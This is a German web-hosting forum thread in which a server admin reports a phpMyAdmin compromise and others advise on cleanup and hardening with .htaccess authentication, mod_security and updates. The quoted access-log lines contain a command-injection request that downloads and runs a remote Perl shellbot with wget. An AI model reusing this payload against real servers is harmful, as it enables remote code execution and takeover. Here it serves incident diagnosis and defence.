Serverangriff via Apache

    Hallo zusammen,
    mein Apache hatte sich gestern 'selbstständig' verabschiedet. Restart hat normal funktioniert, allerdings hat es wohl eine Attacke gegeben:
    Im error.log finde ich folgende Zeilen:



    Es werden dann noch ein paar weitere font-nix(.1,.2,.3,.4,.5) angelegt.


    Das log endet mit:


    Das schaut alles andere als gut aus. Vor allem wenn man sich die Dateien anschaut, die abgelegt wurden. Irgendwelche spanischsprechenden Hacker oder so.


    Was ist denn jetzt die richtige Vorgehensweise um aufzuräumen und die Schwachstelle zu finden?


    Danke & Gruß,
    Firefly

    ok,


    das würde ich gerne als letztes Mittel machen. Es ist doch schon eine Menge Konfigurationszeit reingeflossen und evtl. kann man die Intrusion isolieren und ohne Komplettneuaufsetzen unschädlich machen?


    Wobei ich auch nicht mehr in phpmyadmin reinkomme ("Ungültiger Host-Name für Server 1. Bitte überprüfen Sie Ihre Konfiguration.")


    Für den Apache-Shutdown könnte auch folgendes verantwortlich sein (root mail):


    Ansonsten hat es vor kurzem einen ähnlichen Angriff auf einen Debian-Server gegeben: http://forums.debian.net/viewtopic.php?f=5&t=41559


    aso, und im accesslog hat es direkt vor den vom error.log aufgezeichneten einträgen folgendes gegeben:

    Code
    85.214.71.129 - - [02/Aug/2009:02:12:50 +0200] "GET /phpMyAdmin/config/config.inc.php?c=cd%20/tmp;wget%20193.224.55.170/font-nix;perl%20font-nix  HTTP/1.1" 404 355 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;)"
85.214.71.129 - - [02/Aug/2009:02:12:50 +0200] "GET /phpMyAdmin/config/config.inc.php?c=cd%20/tmp;wget%20193.224.55.170/font-nix;perl%20font-nix  HTTP/1.1" 404 355 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;)"
85.214.71.129 - - [02/Aug/2009:02:12:50 +0200] "GET /phpMyAdmin/config/config.inc.php?c=cd%20/tmp;wget%20193.224.55.170/font-nix;perl%20font-nix  HTTP/1.1" 404 355 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;)"
85.214.71.129 - - [02/Aug/2009:02:12:51 +0200] "GET /phpMyAdmin/config/config.inc.php?c=cd%20/tmp;wget%20193.224.55.170/font-nix;perl%20font-nix  HTTP/1.1" 404 355 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;)"
85.214.71.129 - - [02/Aug/2009:02:12:51 +0200] "GET /phpMyAdmin/config/config.inc.php?c=cd%20/tmp;wget%20193.224.55.170/font-nix;perl%20font-nix  HTTP/1.1" 404 355 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;)"
85.214.71.129 - - [02/Aug/2009:02:12:51 +0200] "GET /phpMyAdmin/config/config.inc.php?c=cd%20/tmp;wget%20193.224.55.170/font-nix;perl%20font-nix  HTTP/1.1" 404 355 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;)"


    weiß vielleicht einer, was für eine Art von Angriff hier gefahren wurde, wie man sich dagegen immunisieren kann? Auch damit es nach dem neuaufsetzen nicht gleich wieder vom gleichen gerooted (ist nicht klar) wird?


    diese wget-versuche sind wohl ein Anzeichen für einen modifizierten iranischen Hack, der shellbot kommt aus singapur und die hackdateien selbst liegen auf einem Cronon-Server...


    Naja, also für Tipps aller art bin ich dankbar, ansonsten werde ich wohl um ein neuaufsetzen nicht drumrumkommen.


    firefly


    PS: wenn ich ein backup von vor zwei wochen einspiele müsste das doch erst einmal ungecrackt sein oder? würde mich ein managed server vor solchen überfällen sicher schützen?

    Zitat von Firefly;4687

    ok,


    das würde ich gerne als letztes Mittel machen. Es ist doch schon eine Menge Konfigurationszeit reingeflossen und evtl. kann man die Intrusion isolieren und ohne Komplettneuaufsetzen unschädlich machen?


    Möglich ist es bestimmt, die Frage ist mit welchem Aufwand. Denke da lohnt das neu aufsetzen mehr.


    Zitat

    Für den Apache-Shutdown könnte auch folgendes verantwortlich sein (root mail):

    Ansonsten hat es vor kurzem einen ähnlichen Angriff auf einen Debian-Server gegeben: http://forums.debian.net/viewtopic.php?f=5&t=41559


    Irgendwas an deinem Server wurde verstellt, daher auch die Fehlermeldung. Die genaue Einstellung zu finden könnte aber alles andere als einfach sein.



    Ich weiß grade nicht ob es nur über phpmyadmin funktioniert, oder generell mit jeder php Datei. Falls nur bei phpmyadmin kannste dich zumindest durch eine zusätzliche Authentifizierung absichern.


    Habe es bei mir zumindest so gemacht dass mein phpmyadmin und syscp zusätzlich zum eigentlichen Login erstmal durch ne htaccess Datei geschützt wird.


    Backup zurückspielen kann helfen, muss aber nicht. Kommt halt immer drauf an wie lange die Daten schon auf dem Server sind. Kann natürlich immer sein das entsprechende Dateien erstmal garnichts tun.

    Hi,


    ich hatte gestern Nacht genau den gleichen Angriff.
    Zuerst wurde eine Datei font-nix angelegt.
    Ein paar Minuten später eine weitere Datei dc.txt


    Auch ich konnte ebenfalls nicht mehr auf phpmyadmin zugreifen.


    Habe heute mein System neu aufgesetzt und diesmal phpmyadmin auf eine andere Adresse als meine-domain.de/phpmyadmin gelegt und das ganze über einen zusätzlichen .htaccess gesichert.


    Außerdem kann ich dir den mod-security2 für Apache empfehlen. Anleitungen gibt's einige im Internet.
    Der sollte auch den größten Teil dieser Anfragen blocken.


    Um ganz sicher zu gehen kannst du diese DNS-Adresse (ich vermute es war bei dir auch ***w00t.w00t.****) sperren.


    Schönen Abend noch,
    Ede

    Hallo zusammen,


    vielen Dank schon einmal an alle für die Informationen & Vorschläge!


    Besonders interessant wäre es noch zu erfahren,


    1. wie ich sicher erfahren kann, ob tatsächlich Daten (Passwörter etc. - Debian Etch) kompromittiert wurden,
    2. wie es der Angreifer geschafft hat, den Zugang zu phpmyadmin zu verhindern/zu zerstören
    3. ob die vom letzten Poster (Ede) vorgeschlagenen Maßnahmen genügen, um Apache / SysCP / phpmyadmin gegen diese Art von Angriff abzusichern
    4. ob ein Managed Server gegen diese Art von Intrusion 'immun' ist bzw. wie ein solcher Angriff gehandled wird - ich denke nämlich gerade über ein Upgrade nach...


    Leider bin ich für eine anleitungsfreie Diagnose dieses eher wenig dokumentierten Eindringlings nicht firm genug & daher für jeden weiteren Input dankbar!


    Gruß,
    firefly


    PS: Der Stop des Webservers schaut eher nach einem falsch konfigurierten logrotate-cronjob aus...

    Code
    85.214.71.129 - - [02/Aug/2009:02:12:50 +0200] "GET /phpMyAdmin/config/config.inc.php?c=cd%20/tmp;wget%20193.224.55.170/font-nix;perl%20font-nix  HTTP/1.1" 404 355 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;)"
85.214.71.129 - - [02/Aug/2009:02:12:50 +0200] "GET /phpMyAdmin/config/config.inc


    Das sieht jetzt aber nach einer veralteten/unsicheren PMA Version aus. Welche Version verwendest du denn?


    Zitat von Servior

    Habe es bei mir zumindest so gemacht dass mein phpmyadmin und syscp zusätzlich zum eigentlichen Login erstmal durch ne htaccess Datei geschützt wird.


    Das verhindert schon einmal sehr viele "Attacken", sollte man auf jeden Fall überall machen! :)



    MfG Christian

    "Wer nur noch Enten sieht, hat die Kontrolle über seine Server verloren." (Netzentenfund)

    Angezeigt wird '2.9.1.1-Debian-9', was auch nicht der ursprünglich installierten Version entspricht.


    Danke für den Hinweis!


    Update: Eventuell basiert der Angriff auf Schwachstellen, die hier beschrieben werden.

    So,


    das aufgespielte Backup war sauber und nach einem PMA-Update auf 2.9.1.1-Debian-11 sollte das nicht genauso wieder passieren können (hoffe ich).


    Über Umbenennen von /var/www/phpmyadmin in /var/www/wasanderes findet auch nicht mehr jeder die PMA-Installation über den Browser.


    Mit dem htaccess-Schutz ist das aber so eine Sache. Unter /etc/phpmyadmin gibt es eine htaccess-Datei (ohne Punkt davor) die folgendermassen ausschaut:


    Unter /var/www/phpmyadmin (inzwischen /var/www/wasanderes) gibt es eine .htaccess-Datei mit identischem Inhalt (Symlink?). Wo/wie soll denn da eine Authentifizierung rein?


    Danke, firefly


    PS: Es scheint ungefähr ein halbes Dutzend unterschiedliche PMA-Config-Fileversionen zu geben, und meine ist besonders schlecht dokumentiert :confused:

    Meine sieht genauso aus.


    Du fügst in der schon vorhandenen Datei, bei mit /var/www/phpmyadmin einfach die Authentifizierung mit ein.


    Habe es ganz ans Ende gestellt, ist denke ich am einfachsten.

    Also ich kann leider nicht sagen wie es bei der Debian Etch + SysCP Installation aussieht, aber bei mir unter Debian Lenny wird PMA standardmäßig unter usr/share/phpmyadmin installiert.
    Darin befindet sich auch meine .htaccess


    Auf jeden Fall muss die .htaccess-Datei in den selben Ordner, in der sich auch die index.php befinet.


    Unter /etc/apache2/conf.d/phpmyadmin.conf findet man übrigens die Konfigurationsdatei von PMA für den Apache.
    Hier kann man auch unter Alias die Adresse verändern, unter der man PMA im Browser aufrufen kann.
    Wichtig ist außerdem für den .htaccess, dass innerhalb des Tags <Directory /usr/sharephpmyadmin> die Option AllowOverride All eingetragen ist.


    Für andere Installationen kann man ja das Verfahren übertragen.


    Mit freundlichen Grüßen,
    Ede

    Zitat von Ede;4738

    Unter /etc/apache2/conf.d/phpmyadmin.conf findet man übrigens die Konfigurationsdatei von PMA für den Apache.


    Ja, die Datei hab ich auch gesucht - es gibt sie aber bei mir nicht - wohl ein Unterschied zwischen Etch und Lenny. Der Alias ist auch nicht innerhalb einer Datei definiert, so dass ich es letztendlich über die Umbenennung innerhalb von /var/www/ hinbekommen habe. In welcher Konfig-Datei ich den Alias hätte reinstellen sollen habe ich für meine Etch/PMA-Kombo einfach nicht herausbekommen...


    Jetzt ist allerdings der PMA-Ordner im /usr/share-Ordner verschwunden. Wäre toll, wenn ich irgendwo sehen könnte, wie die Symlink-Struktur von PMA funktioniert und welche Dateien ich eigentlich ändern soll/darf.


    @Servidor: An den Anfang dieser htaccess-Datei hab ich die auth-Infos reingestellt (

    Apache Configuration
    AuthType Basic
AuthName "Datenbankadministration"
AuthUserFile /var/kunden/webs/.htusers
Require  valid-user

    , aber es greift nicht. Den Server muss ich doch dafür nicht restarten, oder? Den Apache zu restarten hat auch nix gebracht, komisch war dabei, dass es jetzt nur noch mit einem Parameter geht (/etc/init.d/apache2 -k restart). Ist das seit dem letzten Paketupdate prinzipiell so, oder hab ich da auch einen Wurm drin?


    Vielen Dank für den Input! firefly

    Hallo,


    scheint ja eine Menge Verwirrung zu geben, wie man seinen PMA zusätzlich mit .htaccess schützen kann. Hier mal kurz zusammengefasst, wie ich das auf meinem Debian Lenny gemacht habe.



    Schritt 1
    zunächst mal prüfen, ob in /var/www ein Link für PMA ist, der auf das korrekte Verzeichnis zeigt. In meinem Fall ist das: /var/www/phpmyadmin -> /usr/share/phpmyadmin



    Schritt 2
    In /usr/share/phpmyadmin die Dateien .htaccess und .htpasswd erstellen. In die .htaccess kommt folgender Inhalt:


    AuthType Basic
    AuthName "phpMyAdmin"
    AuthUserFile /var/www/phpmyadmin/.htpasswd
    require valid-user


    In die .htpasswd kommt [noparse]user:password[/noparse]. Für beides, .htaccess und .htpasswd, gibt es unzählige Online Tools, deswegen gehe ich hier nicht näher darauf ein, wie man diese richtig erstellt.



    Schritt 3
    Die Datei /etc/apache2/httpd.conf mit einem Editor öffnen. Hier tragen wir zunächst einen Alias ein:


    Alias /name_fuer_pma/ "/var/www/phpmyadmin/"


    Das "name_fuer_pma" kann frei gewählt werden. Das wird die Adresse unter der später PMA im Browser aufrufbar sein wird. Also z.B.: Alias /myPMA/ "/var/www/phpmyadmin/" bewirkt, dass man später PMA unter [noparse]http://www.domain.tld/myPMA/[/noparse] aufrufen kann.


    Weiter unten in der httpd.conf Datei fügen wir dann noch die Direktive ein:


    <Directory /var/www/phpmyadmin>
    AllowOverride All
    Options ExecCGI FollowSymLinks
    </Directory>



    Schritt 4
    Apache neu starten: /etc/init.d/apache2 restart



    Jetzt mal im Browser die Adresse zum PMA aufrufen, die wir unter dem Alias angegeben haben und schauen ob PMA erreicgbar ist.
    So hab ich das bei mir realisiert und funktioniert tadellos. Möglich das man bei anderen Systemen Anpassungen machen muss. Sollte es nicht funktionieren mal überprüfen, ob einem eventuell Schreibfehler unterlaufen sind.



    Gruß koweto

    Hi,


    meiner Einschätzung nach scheinen die obigen Maßnahmen auszureichen um diesen Scanner unschädlich zu machen.
    Es wurde wieder massiv durch diesen Scanner versucht auf phpmyadmin zuzugreifen, meist wurde dies aber von mod-security verhindert.
    Der htaccess hat alle restlichen Zugriffsversuche verhindert.


    Mfg,
    Ede

    FYI,


    habe gerade einem Kumpel Wordpress auf seinem Netcup-Webspace eingerichtet und dabei ist mir aufgefallen, dass dort die phpmyadmin-Version noch nicht geupdated wurde (2.9.1.1-Debian-9).


    D.h. Nix Gutes, oder ist der Webspace nicht in gleicher Weise angreifbar wie mein vServer?

    Zitat

    D.h. Nix Gutes, oder ist der Webspace nicht in gleicher Weise angreifbar wie mein vServer?


    Bei den Servern für Webhosting greifen zusätzliche Sicherheitsmechanismen. Die Server sind nicht von der hier geschilderten Lücke betroffen.